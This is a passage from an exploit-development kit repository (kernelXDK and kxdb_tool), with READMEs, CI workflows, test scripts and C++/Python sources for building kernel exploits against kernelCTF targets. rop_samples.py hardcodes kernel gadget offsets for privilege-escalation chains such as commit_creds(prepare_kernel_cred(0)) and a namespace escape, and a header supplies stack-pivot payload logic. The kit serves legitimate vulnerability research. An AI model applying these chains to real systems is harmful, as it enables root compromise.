Documentation 24 | 25 | The **documentation** for kernelXDK is available at [xdk.dev](https://xdk.dev). This website provides comprehensive guides for setup, API reference, and porting existing exploits. 26 | 27 | ## Reporting Bugs 28 | 29 | If you find a bug, please help us by [submitting an issue](https://github.com/google/kernel-research/issues/new) on GitHub. 30 | 31 | Before you create a new issue, please check the existing ones to see if your bug has already been reported. 32 | 33 | When reporting a bug, please include: 34 | * A clear and descriptive title 35 | * Steps to reproduce the behavior 36 | * Expected vs. actual behavior 37 | * Any screenshots or code snippets that might be helpful 38 | * If relevant, details about your OS, installed libraries, compiler toolchain, the target kernel image (distro + release). 39 | 40 | _Note: this project is currently in a **beta state**. We are focused on core development, so bug fixes may take some time or may not happen at all. We appreciate your patience and understanding._ 41 | 42 | ## Disclaimer 43 | 44 | This is not an officially supported Google product. 45 | -------------------------------------------------------------------------------- /kxdb_tool/README.md: -------------------------------------------------------------------------------- 1 | # KXDB Tool 2 | 3 | A database builder which contains exploitation information (symbol addresses, ROP gadgets, stack pivots, structure field offsets) for multiple kernel targets and consumed by the exploit kit to customize exploits for targets. 4 | 5 | The recommended extension for the target db file: `.kxdb`. 6 | 7 | ## Prerequisites 8 | 9 | * `rop_generator` (part of the kernel-researcher tools) 10 | 11 | ## Usage 12 | 13 | ``` 14 | ./kxdb_tool.py 15 | [--image-db-path=] 16 | [--release-filter=] 17 | [--input-file=] 18 | [--output-file=] 19 | [--indent=] 20 | [--log-level=] 21 | ``` 22 | 23 | ### Arguments 24 | 25 | * `input-file` (optional): location of the current database to convert or extend. Supported file formats: kxdb, json, yaml. 26 | 27 | * `output-file` (required): where to save the resulting database. Supported file formats: kxdb, json, yaml. 28 | 29 | * `image-db-path` (optional): location of the `image_db` folder. If supplied then its targets will be added to the database. 30 | 31 | * `release-filter` (optional): regex expression to filter which releases to process from `image_db`, e.g. `lts-6.1.81` or `kernelctf/lts-6.1.81` or `kernelctf/.*`. By default, there is no filter, so all downloaded releases will be part of the database. 32 | 33 | You need to specify either `input-file` (to convert) or `image-db-path` (to build from), but you can also specify both (to extend). 34 | 35 | If you specify `input-file` then the configuration will be reused from that file, otherwise the default configuration (from `config.py`) will be used. 36 | 37 | ### Example usages 38 | 39 | Processes all downloaded releases from the `../image_db` folder and extends the `target_db.kxdb` database with these new releases: 40 | 41 | ./kxdb_tool.py --image-db-path ../image_db -i target_db.kxdb -o target_db.kxdb 42 | 43 | Processes only the `kernelctf/lts-6.1.81` release from the `../image_db/releases` folder and save the resulting database to the `../libxdk/test/artifacts/target_db_lts-6.1.81.kxdb` file: 44 | 45 | ./kxdb_tool.py --image-db-path ../image_db --release-filter lts-6.1.81 --output ../libxdk/test/artifacts/target_db_lts-6.1.81.kxdb 46 | 47 | 48 | Processes all downloaded releases from `../image_db` and save the resulting database to `target_db.kxdb`: 49 | 50 | ./kxdb_tool.py --image-db-path ../image_db -o target_db.kxdb 51 | 52 | Converts the database from a binary format (`.kxdb`) to JSON: 53 | 54 | ./kxdb_tool.py -i target_db.kxdb -o target_db.json 55 | 56 | ### Disclaimer 57 | 58 | This is not an officially supported Google product. -------------------------------------------------------------------------------- /.github/workflows/daily-tests.yml: -------------------------------------------------------------------------------- 1 | # Copyright 2025 Google LLC 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | 15 | name: Run daily tests 16 | on: 17 | workflow_dispatch: 18 | schedule: 19 | - cron: '0 0 * * *' 20 | permissions: {} 21 | jobs: 22 | tests: 23 | strategy: 24 | matrix: 25 | target: 26 | # release-date: 2025-09-05T12:00:00Z 27 | - kernelctf lts-6.12.44 28 | - kernelctf cos-121-18867.199.43 29 | - kernelctf cos-113-18244.448.33 30 | # release-date: 2025-05-02T12:00:00Z 31 | - kernelctf lts-6.6.87 32 | - kernelctf cos-105-17412.535.98 33 | - kernelctf cos-109-17800.436.99 34 | # release-date: 2025-01-10T12:00:00Z 35 | - kernelctf lts-6.6.69 36 | - kernelctf cos-105-17412.495.75 37 | - kernelctf cos-109-17800.372.84 38 | # release-date: 2024-07-31T12:00:00Z 39 | - kernelctf lts-6.6.42 40 | - kernelctf cos-105-17412.370.75 41 | - kernelctf cos-109-17800.218.76 42 | # release-date: 2024-01-12T12:00:00Z 43 | - kernelctf lts-6.1.70 44 | - kernelctf cos-105-17412.226.52 45 | - kernelctf cos-97-16919.404.26 46 | 47 | # oldest 6.1 (which also have vmlinux file) 48 | - kernelctf lts-6.1.36 # 6.1.35 hangs randomly at boot a lot, without any error 49 | # newest 6.1 50 | - kernelctf lts-6.1.81 51 | # oldest 6.6 52 | - kernelctf lts-6.6.23 53 | # active mitigations 54 | - kernelctf mitigation-v4-6.6 55 | - kernelctf mitigation-v3b-6.1.55 56 | fail-fast: false # do not cancel test of other targets 57 | uses: ./.github/workflows/test-libxdk.yml 58 | permissions: 59 | pull-requests: read 60 | secrets: inherit 61 | with: 62 | target: ${{matrix.target}} 63 | silence_notifications: true 64 | 65 | summary: 66 | runs-on: ubuntu-latest 67 | needs: tests 68 | if: always() 69 | steps: 70 | - name: Checkout repo 71 | uses: actions/checkout@v4 72 | 73 | - name: Send Google Chat Notification (on failure) 74 | if: ${{ needs.tests.result != 'success' }} 75 | env: 76 | WEBHOOK_URL: ${{ secrets.WEBHOOK_EXPKIT }} 77 | run: node ./.github/scripts/send_notification.js 78 | -------------------------------------------------------------------------------- /.github/scripts/full_release_test.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # Copyright 2025 Google LLC 3 | # 4 | # Licensed under the Apache License, Version 2.0 (the "License"); 5 | # you may not use this file except in compliance with the License. 6 | # You may obtain a copy of the License at 7 | # 8 | # http://www.apache.org/licenses/LICENSE-2.0 9 | # 10 | # Unless required by applicable law or agreed to in writing, software 11 | # distributed under the License is distributed on an "AS IS" BASIS, 12 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | # See the License for the specific language governing permissions and 14 | # limitations under the License. 15 | set -eo pipefail 16 | 17 | SCRIPT_DIR=$(dirname $(realpath "$0")) 18 | IMAGE_DB_DIR="$SCRIPT_DIR/../../image_db" 19 | KXDB_TOOL_DIR="$SCRIPT_DIR/../../kxdb_tool" 20 | LIBXDK_DIR="$SCRIPT_DIR/../../libxdk" 21 | KXDB_FN="$SCRIPT_DIR/test.kxdb" 22 | 23 | usage() { 24 | echo "Usage: $0 (kernelctf|ubuntu) [--keep-image-db]"; 25 | exit 1; 26 | } 27 | 28 | ARGS=() 29 | while [[ $# -gt 0 ]]; do 30 | case $1 in 31 | --keep-image-db) KEEP_IMAGE_DB=1; shift;; 32 | --) # stop processing special arguments after "--" 33 | shift 34 | while [[ $# -gt 0 ]]; do ARGS+=("$1"); shift; done 35 | break 36 | ;; 37 | -*|--*) echo "Unknown option $1"; usage;; 38 | *) ARGS+=("$1"); shift;; 39 | esac 40 | done 41 | set -- "${ARGS[@]}" 42 | 43 | DISTRO="$1" 44 | RELEASE="$2" 45 | RELEASE_DIR="$IMAGE_DB_DIR/releases/$DISTRO/$RELEASE" 46 | 47 | if [[ ! "$DISTRO" =~ ^(kernelctf|ubuntu)$ || -z "$RELEASE" ]]; then usage; fi 48 | 49 | if [ "$KEEP_IMAGE_DB" == "" ]; then 50 | # cleanup generated Image DB artifacts 51 | for FN in btf.json symbols.txt rop_actions.json stack_pivots.json structs.json vmlinux.thunk_replaced; do 52 | if [ -f "$RELEASE_DIR/$FN" ]; then 53 | rm "$RELEASE_DIR/$FN"; 54 | fi 55 | done 56 | fi 57 | 58 | "$IMAGE_DB_DIR/download_release.sh" "$DISTRO" "$RELEASE" dbgsym,vmlinuz,process 59 | "$IMAGE_DB_DIR/collect_runtime_data.sh" 60 | "$KXDB_TOOL_DIR/kxdb_tool.py" --image-db-path "$IMAGE_DB_DIR" --release-filter "$DISTRO/$RELEASE" -o "$KXDB_FN" 61 | cp "$KXDB_FN" "$LIBXDK_DIR/test/artifacts/kernelctf.kxdb" 62 | cp "$KXDB_FN" "$LIBXDK_DIR/build/test/artifacts/kernelctf.kxdb" 63 | cp "$KXDB_FN" "$LIBXDK_DIR/samples/pipe_buf_rop/target_db.kxdb" 64 | 65 | cd "$LIBXDK_DIR" 66 | 67 | printf "\n=======================\n" 68 | printf "Running libxdk tests...\n" 69 | printf "=======================\n\n" 70 | ./run_tests.sh "$DISTRO" "$RELEASE" 20 --tap --test-suites "^PivotStaticTests" 71 | 72 | for ACTION in "test" "stability_test"; do 73 | printf "\n====================================\n" 74 | printf "Running pipe_buf_rop $ACTION...\n" 75 | printf "====================================\n\n" 76 | make -j`nproc` -C samples/pipe_buf_rop TARGET="$DISTRO $RELEASE" $ACTION 77 | done 78 | -------------------------------------------------------------------------------- /.github/workflows/deploy-docs.yml: -------------------------------------------------------------------------------- 1 | # Copyright 2025 Google LLC 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | 15 | name: Build and deploy xdk.dev 16 | on: 17 | push: 18 | branches: ["main"] 19 | paths: ['docs/**', '**/README.md'] 20 | pull_request: 21 | workflow_dispatch: 22 | permissions: 23 | contents: read 24 | pages: write 25 | id-token: write 26 | concurrency: 27 | group: "pages" 28 | cancel-in-progress: false 29 | jobs: 30 | changes: 31 | if: github.event_name == 'pull_request' 32 | permissions: 33 | pull-requests: read 34 | outputs: 35 | docs: ${{ steps.filter.outputs.docs }} 36 | runs-on: ubuntu-latest 37 | steps: 38 | - uses: actions/checkout@v4 39 | - id: filter 40 | uses: dorny/paths-filter@v3 41 | with: 42 | filters: "docs: ['docs/**', '**/README.md']" 43 | 44 | build: 45 | needs: changes 46 | if: ${{ always() && (github.event_name != 'pull_request' || needs.changes.outputs.docs == 'true') }} 47 | runs-on: ubuntu-latest 48 | timeout-minutes: 20 49 | steps: 50 | - name: Checkout 51 | uses: actions/checkout@v4 52 | 53 | - name: Setup Pages 54 | uses: actions/configure-pages@v5 55 | 56 | - name: Install tools 57 | run: | 58 | sudo apt install doxygen 59 | pip install -U sphinx 60 | pip install -U exhale 61 | pip install -U sphinx-rtd-theme 62 | pip install -U sphinxcontrib-mermaid 63 | pip install -U myst-parser 64 | 65 | - name: Generating API XML with Doxygen 66 | working-directory: ./docs 67 | run: | 68 | mkdir -p _build 69 | doxygen Doxyfile 70 | 71 | - name: Generating HTML website with Sphinx 72 | working-directory: ./docs 73 | run: | 74 | sphinx-build -b html src _build/html 75 | 76 | - name: Upload artifact 77 | uses: actions/upload-pages-artifact@v3 78 | with: 79 | path: docs/_build/html 80 | 81 | deploy: 82 | needs: build 83 | if: github.event_name == 'push' && github.ref == 'refs/heads/main' 84 | environment: 85 | name: github-pages 86 | url: ${{ steps.deployment.outputs.page_url }} 87 | runs-on: ubuntu-latest 88 | steps: 89 | - name: Deploy to GitHub Pages 90 | id: deployment 91 | uses: actions/deploy-pages@v4 92 | -------------------------------------------------------------------------------- /libxdk/test/main.cpp: -------------------------------------------------------------------------------- 1 | // Copyright 2025 Google LLC 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include "test/TestRunner.h" 20 | #include "test/logging/TapLogger.h" 21 | #include "test/tests/TargetDbTests.h" 22 | #include "test/tests/UtilsTests.h" 23 | #include "test/tests/XdkDeviceTests.h" 24 | #include "test/tests/RopActionTests.h" 25 | #include "test/tests/SymbolsTests.h" 26 | #include "test/tests/PivotTests.h" 27 | #include "util/ArgumentParser.h" 28 | 29 | class Main { 30 | ArgumentParser args_; 31 | TestRunner runner_; 32 | 33 | void ListTests() { 34 | for (auto& testSuite : runner_.GetTestSuites()) { 35 | cout << testSuite->class_name << ": "; 36 | for (size_t i = 0; i < testSuite->tests.size(); i++) 37 | cout << (i == 0 ? "" : ", ") << testSuite->tests[i].func_name; 38 | cout << "\n"; 39 | } 40 | } 41 | public: 42 | Main(int argc, const char* argv[]): args_(argc, argv) { 43 | runner_.Add(new TargetDbTests()); 44 | runner_.Add(new UtilsTests()); 45 | runner_.Add(new XdkDeviceTests()); 46 | runner_.Add(new SymbolsTest()); 47 | runner_.Add(new PivotTests()); 48 | runner_.Add(new PivotXdkDeviceTests()); 49 | runner_.Add(new RopActionTests()); 50 | 51 | runner_.SetSuiteFilter(args_.getOption("test-suites")); 52 | runner_.SetTestFilter(args_.getOption("tests").value_or("^TODO")); 53 | runner_.SetTargetDbPath(args_.getOption("target-db").value_or("test/artifacts/targets.kxdb")); 54 | runner_.SetRepeatCount(args_.getInt("repeat").value_or(1)); 55 | 56 | if (args_.getOption("tap")) 57 | runner_.SetLogger(new TapLogger()); 58 | } 59 | 60 | int Run() { 61 | auto& posArgs = args_.getPositionalArgs(); 62 | if (posArgs.size() >= 1 && posArgs[0] == "list") { 63 | ListTests(); 64 | } else if (posArgs.size() == 0 || posArgs[0] == "run") { 65 | return runner_.Run(args_.getInt("skip").value_or(0)) ? 0 : 1; 66 | } else { 67 | cerr << "Unknown command." << endl; 68 | return 1; 69 | } 70 | 71 | return 0; 72 | } 73 | }; 74 | 75 | int main(int argc, const char* argv[]) { 76 | return Main(argc, argv).Run(); 77 | } 78 | -------------------------------------------------------------------------------- /libxdk/util/Syscalls.cpp: -------------------------------------------------------------------------------- 1 | // Copyright 2025 Google LLC 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | #include 22 | #include 23 | #include 24 | #include 25 | #include 26 | #include 27 | 28 | void Syscalls::__check(int result, int expected, const char* syscall_name) { 29 | if (result == -1) // always fail in case of -1, errno will contain the error 30 | throw errno_error(syscall_name); 31 | else if (result != expected) 32 | throw ExpKitError("%s: returned with %d instead of the expected %d", 33 | syscall_name, result, expected); 34 | } 35 | 36 | template 37 | T Syscalls::__check_valid(T result, const char* syscall_name) { 38 | if ((int64_t)result == -1) // always fail in case of -1, errno will contain the error 39 | throw errno_error(syscall_name); 40 | else if ((int64_t)result < 0) 41 | throw ExpKitError("%s: returned a negative number (%d) unexpectedly", 42 | syscall_name, result, result); 43 | return result; 44 | } 45 | 46 | int Syscalls::open(const char* file, int oflag) { 47 | return __check_valid(::open(file, oflag)); 48 | } 49 | 50 | void Syscalls::read(fd fd, void* buf, size_t n) { 51 | __check(::read(fd, buf, n), n); 52 | } 53 | 54 | void Syscalls::write(fd fd, const void* buf, size_t n) { 55 | __check(::write(fd, buf, n), n); 56 | } 57 | 58 | int Syscalls::ioctl(int fd, unsigned long int request, void* arg) { 59 | return __check_valid(::ioctl(fd, request, arg)); 60 | } 61 | 62 | void Syscalls::close(fd fd) { __check(::close(fd)); } 63 | 64 | void Syscalls::pipe(pipefds pipefds) { __check(::pipe(pipefds)); } 65 | 66 | struct stat Syscalls::stat(const char* path) { 67 | struct stat s; 68 | __check(::stat(path, &s)); 69 | return s; 70 | } 71 | 72 | void Syscalls::unshare(int flags) { __check(::unshare(flags)); } 73 | 74 | std::string Syscalls::readlink(const char* path, size_t bufsize) { 75 | std::vector buf(bufsize); 76 | auto len = __check_valid(::readlink(path, buf.data(), bufsize)); 77 | if (len == bufsize) 78 | throw ExpKitError("readlink buffer size was too small (%u)", bufsize); 79 | return std::string(buf.data(), buf.data() + len); 80 | } -------------------------------------------------------------------------------- /image_runner/test/run_stability_test_round.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # Copyright 2025 Google LLC 3 | # 4 | # Licensed under the Apache License, Version 2.0 (the "License"); 5 | # you may not use this file except in compliance with the License. 6 | # You may obtain a copy of the License at 7 | # 8 | # http://www.apache.org/licenses/LICENSE-2.0 9 | # 10 | # Unless required by applicable law or agreed to in writing, software 11 | # distributed under the License is distributed on an "AS IS" BASIS, 12 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | # See the License for the specific language governing permissions and 14 | # limitations under the License. 15 | 16 | set -euo pipefail 17 | 18 | STDOUT_DIR="stability_test_outputs" 19 | 20 | SCRIPT_DIR=$(dirname $(realpath "$0")) 21 | cd "$SCRIPT_DIR" 22 | 23 | ROUND_ID="$1" 24 | DISTRO="$2" 25 | RELEASE="$3" 26 | RUNNER_ARGS="${@:4}" 27 | 28 | usage() { 29 | echo "Usage: $0 "; 30 | exit 1; 31 | } 32 | 33 | if [ -z "$ROUND_ID" ]; then echo "ROUND_ID is missing"; usage; fi 34 | if [ -z "$DISTRO" ]; then echo "DISTRO is missing"; usage; fi 35 | if [ -z "$RELEASE" ]; then echo "DISTRO is missing"; usage; fi 36 | if [ -z "$RUNNER_ARGS" ]; then echo "RUNNER_ARGS are missing"; usage; fi 37 | 38 | OUTPUT_FN="$STDOUT_DIR/round_${ROUND_ID}_output.txt" 39 | DMESG_FN="$STDOUT_DIR/round_${ROUND_ID}_dmesg.txt" 40 | DEBUG_FN="$STDOUT_DIR/round_${ROUND_ID}_debug.txt" 41 | 42 | mkdir -p "$STDOUT_DIR" 2>/dev/null || true 43 | 44 | if ! timeout --foreground -s SIGKILL 15s ../run.sh $DISTRO $RELEASE --only-command-output --no-rootfs-update --dmesg=$DMESG_FN --qemu-args="-D $DEBUG_FN -d int,cpu_reset,unimp,guest_errors" $RUNNER_ARGS|sed s/\\r//g > "$OUTPUT_FN"; then 45 | echo "#$ROUND_ID: image_runner failed to run. Check the arguments: '$RUNNER_ARGS'" 46 | exit 2; 47 | fi 48 | 49 | OUTPUT=$(cat "$OUTPUT_FN") 50 | DMESG=$(cat "$DMESG_FN") 51 | 52 | set +eo pipefail 53 | SUCCESS=$(echo "$OUTPUT"|grep 'secret_flag_deadbeef\|YOU.WON') 54 | EXP_PANIC=$(echo "$DMESG"|grep -o '\(BUG:\|usercopy:\|RIP: 0\).*'|head -n 1) 55 | EXP_EXITED=$(echo "$DMESG"|grep -o '\(Attempted to kill init\).*'|tail -n 1) 56 | EXP_ERROR=$(echo "$OUTPUT"|grep -o '\(\[-\]\).*'|tail -n 1) 57 | EXP_SEGFAULT=$(echo "$DMESG"|grep 'exp.*segfault at') 58 | LAST_LINE=$(echo "$OUTPUT"|tail -n 1) 59 | 60 | # echo needs to be one statement, otherwise the stdout is mixed with other rounds 61 | if [ ! -z "$SUCCESS" ]; then echo "#$ROUND_ID: Success: $SUCCESS"; exit 0; 62 | elif [ ! -z "$EXP_ERROR" ]; then echo "#$ROUND_ID: Exploit failed with: $EXP_ERROR"; exit 3; 63 | elif [ ! -z "$EXP_EXITED" ]; then echo "#$ROUND_ID: Exploit exited with: $EXP_EXITED"; exit 4; 64 | elif [ ! -z "$EXP_PANIC" ]; then echo "#$ROUND_ID: Kernel paniced with: $EXP_PANIC"; exit 5; 65 | elif [ ! -z "$EXP_SEGFAULT" ]; then echo "#$ROUND_ID: Exploit segfaulted."; exit 6; 66 | else echo "#$ROUND_ID: Unknown failure: $LAST_LINE"; exit 7; fi 67 | -------------------------------------------------------------------------------- /libxdk/include/xdk/pivot/StackPivot.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2025 Google LLC 3 | * 4 | * Licensed under the Apache License, Version 2.0 (the "License"); 5 | * you may not use this file except in compliance with the License. 6 | * You may obtain a copy of the License at 7 | * 8 | * http://www.apache.org/licenses/LICENSE-2.0 9 | * 10 | * Unless required by applicable law or agreed to in writing, software 11 | * distributed under the License is distributed on an "AS IS" BASIS, 12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | * See the License for the specific language governing permissions and 14 | * limitations under the License. 15 | */ 16 | 17 | #pragma once 18 | 19 | #include 20 | #include 21 | #include 22 | #include 23 | 24 | /** 25 | * @defgroup pivot_classes Pivot Classes 26 | * @brief Classes for stack pivoting and related techniques. 27 | */ 28 | 29 | /** 30 | * @ingroup pivot_classes 31 | * @brief Represents a potential stack pivot gadget or sequence of gadgets. 32 | * 33 | * This class encapsulates information about different types of stack pivots (one-gadget, push/pop) and provides methods to apply them to a payload. 34 | */ 35 | class StackPivot { 36 | std::optional one_gadget_; 37 | std::optional push_gadget_; 38 | std::optional pop_gadget_; 39 | public: 40 | /** 41 | * @brief Constructs a StackPivot from a OneGadgetPivot. 42 | * @param one_gadget The OneGadgetPivot to use. 43 | */ 44 | StackPivot(const OneGadgetPivot& one_gadget); 45 | 46 | /** 47 | * @brief Constructs a StackPivot from a PushIndirectPivot and a PopRspPivot. 48 | * @param push_gadget The PushIndirectPivot to use. 49 | * @param pop_gadget The PopRspPivot to use. 50 | */ 51 | StackPivot(const PushIndirectPivot& push_gadget, const PopRspPivot& pop_gadget); 52 | 53 | /** 54 | * @brief Gets a string description of the stack pivot. 55 | * @param include_clobbers Whether to include information about clobbered 56 | * offsets in the description. 57 | * @return A string describing the stack pivot. 58 | * @throws ExpKitError if the StackPivot is in an invalid state. 59 | */ 60 | std::string GetDescription(bool include_clobbers = true) const; 61 | 62 | /** 63 | * @brief Gets the address of the primary gadget in the stack pivot. 64 | * @return The address of the primary gadget. 65 | */ 66 | uint64_t GetGadgetOffset(); 67 | 68 | /** 69 | * @brief Gets the destination offset within the buffer where the pivot will 70 | * transfer execution. 71 | * @return The destination offset. 72 | * 73 | * This is typically the location where the next instruction or ROP chain 74 | * should be placed. 75 | */ 76 | uint64_t GetDestinationOffset() const; 77 | 78 | /** 79 | * @brief Applies the stack pivot to a given payload. 80 | * @param payload The Payload object to modify. 81 | * @param kaslr_base The KASLR base address. 82 | */ 83 | void ApplyToPayload(Payload& payload, uint64_t kaslr_base); 84 | }; -------------------------------------------------------------------------------- /rop_generator/rop_samples.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env -S python3 -u 2 | # Copyright 2025 Google LLC 3 | # 4 | # Licensed under the Apache License, Version 2.0 (the "License"); 5 | # you may not use this file except in compliance with the License. 6 | # You may obtain a copy of the License at 7 | # 8 | # http://www.apache.org/licenses/LICENSE-2.0 9 | # 10 | # Unless required by applicable law or agreed to in writing, software 11 | # distributed under the License is distributed on an "AS IS" BASIS, 12 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | # See the License for the specific language governing permissions and 14 | # limitations under the License. 15 | 16 | 17 | """Static sample writer for rop_generator.""" 18 | 19 | import argparse 20 | import json 21 | import os 22 | import sys 23 | 24 | sys.path.append(os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) 25 | from kxdb_tool.data_model.rop_chain import * 26 | from kxdb_tool.data_model.serialization import * 27 | 28 | rop_actions = { 29 | "kernelctf/lts-6.1.81": [ 30 | RopAction( 31 | description="msleep(ARG_time_msec)", 32 | gadgets=[ 33 | RopChainOffset(kernel_offset=0x21f5, description="pop rdi"), 34 | RopChainArgument(argument_index=0), 35 | RopChainOffset(kernel_offset=0x227a50, description="msleep()")]), 36 | 37 | RopAction( 38 | description="commit_creds(prepare_kernel_cred(0))", 39 | gadgets=[ 40 | RopChainOffset(kernel_offset=0x21f5, description="pop rdi"), 41 | RopChainConstant(value=0), 42 | RopChainOffset(kernel_offset=0x1be800, description="prepare_kernel_cred()"), 43 | RopChainOffset(kernel_offset=0x17caa80, description="mov rax, rdi"), 44 | RopChainOffset(kernel_offset=0x1be550, description="commit_creds()")]), 45 | 46 | RopAction( 47 | description="switch_task_namespaces(find_task_by_vpid(ARG_vpid), init_nsproxy)", 48 | gadgets=[ 49 | RopChainOffset(kernel_offset=0x21f5, description="pop rdi"), 50 | RopChainConstant(value=1), 51 | RopChainOffset(kernel_offset=0x1b4f20, description="find_task_by_vpid()"), 52 | RopChainOffset(kernel_offset=0x17caa80, description="mov rax, rdi"), 53 | RopChainOffset(kernel_offset=0x30cd, description="pop rsi"), 54 | RopChainOffset(kernel_offset=0x2876880, description="init_nsproxy"), 55 | RopChainOffset(kernel_offset=0x1bc9b0, description="switch_task_namespaces()")]), 56 | ] 57 | } 58 | 59 | if __name__ == "__main__": 60 | parser = argparse.ArgumentParser( 61 | description="Saves sample ROP Action chains into image_db" 62 | ) 63 | parser.add_argument("image_db_path", help="Folder of the image_db tool") 64 | args = parser.parse_args() 65 | for (release_name, release_ras) in rop_actions.items(): 66 | dst_fn = f"{args.image_db_path}/releases/{release_name}/rop_actions.json" 67 | with open(dst_fn, "wt") as f: 68 | f.write(to_json(release_ras, 4, RopActions)) 69 | -------------------------------------------------------------------------------- /libxdk/test/logging/TapLogger.cpp: -------------------------------------------------------------------------------- 1 | // Copyright 2025 Google LLC 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | #include "test/logging/TestLogger.h" 16 | #include "test/logging/TapLogger.h" 17 | #include "test/TestSuite.h" 18 | 19 | #include 20 | 21 | #include 22 | #include 23 | #include 24 | 25 | using namespace std; 26 | 27 | void TapLogger::Begin(const vector>& test_suites, 28 | uint test_count) { 29 | cout << "1.." << test_count << endl; 30 | } 31 | 32 | void TapLogger::End() {} 33 | 34 | void TapLogger::TestSuiteBegin(const TestSuite& suite) { 35 | cout << endl 36 | << "# Test Suite: " << suite.class_name << " (" << suite.desc << ")" 37 | << endl; 38 | } 39 | 40 | void TapLogger::TestSuiteFail(const TestSuite& suite, 41 | const std::exception& exc) { 42 | cout << "# failed with: " << exc.what() << endl; 43 | } 44 | 45 | void TapLogger::TestSuiteSkip(const TestSuite& suite, uint first_test_idx) { 46 | uint test_idx = first_test_idx + 1; 47 | cout << endl 48 | << "# Test Suite skipped: " << suite.class_name << " (" << suite.desc 49 | << ")" << endl; 50 | for (auto& test : suite.tests) 51 | cout << "ok " << test_idx++ << " - " << suite.class_name 52 | << "::" << test.func_name << " # SKIP: test suite skipped" << endl; 53 | } 54 | 55 | void TapLogger::TestSuiteEnd(const TestSuite& suite) {} 56 | 57 | void TapLogger::TestBegin(const TestSuite& suite, const Test& test, 58 | uint test_idx) {} 59 | 60 | void TapLogger::TestSuccess(const TestSuite& suite, const Test& test, 61 | uint test_idx) { 62 | cout << "ok " << test_idx + 1 << " - " << suite.class_name 63 | << "::" << test.func_name << endl; 64 | } 65 | 66 | void TapLogger::TestFail(const TestSuite& suite, const Test& test, 67 | uint test_idx, const exception& exc) { 68 | std::string msg = exc.what(); 69 | replace(msg, "'", "\\'"); 70 | cout << "not ok " << test_idx + 1 << " - " << suite.class_name 71 | << "::" << test.func_name << endl 72 | << " ---" << endl 73 | << " message: '" << msg << "'" << endl 74 | << " ..." << endl; 75 | } 76 | 77 | void TapLogger::TestSkip(const TestSuite& suite, const Test& test, 78 | uint test_idx) { 79 | cout << "ok " << test_idx + 1 << " - " << suite.class_name 80 | << "::" << test.func_name << " # SKIP: test skipped" << endl; 81 | } 82 | -------------------------------------------------------------------------------- /kxdb_tool/converter/kxdb_writer.py: -------------------------------------------------------------------------------- 1 | # Copyright 2025 Google LLC 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | 15 | """Classes for writing the kxdb file format.""" 16 | import os 17 | 18 | from converter.binary_writer import BinaryWriter, SectionDict 19 | from converter.symbols import SymbolWriter 20 | from converter.rop_actions import RopActionWriter 21 | from converter.stack_pivots import StackPivotWriter 22 | from converter.structs import StructWriter 23 | from converter.consts import MAGIC, VERSION_MAJOR, VERSION_MINOR, SECTION_META, SECTION_TARGETS, SECTION_STRUCT_LAYOUTS 24 | 25 | class KxdbWriter: 26 | """Class to write the kxdb file format.""" 27 | 28 | def __init__(self, db): 29 | self.symbol_writer = SymbolWriter(db.meta.symbols) 30 | self.rop_action_writer = RopActionWriter(db.meta.rop_actions) 31 | 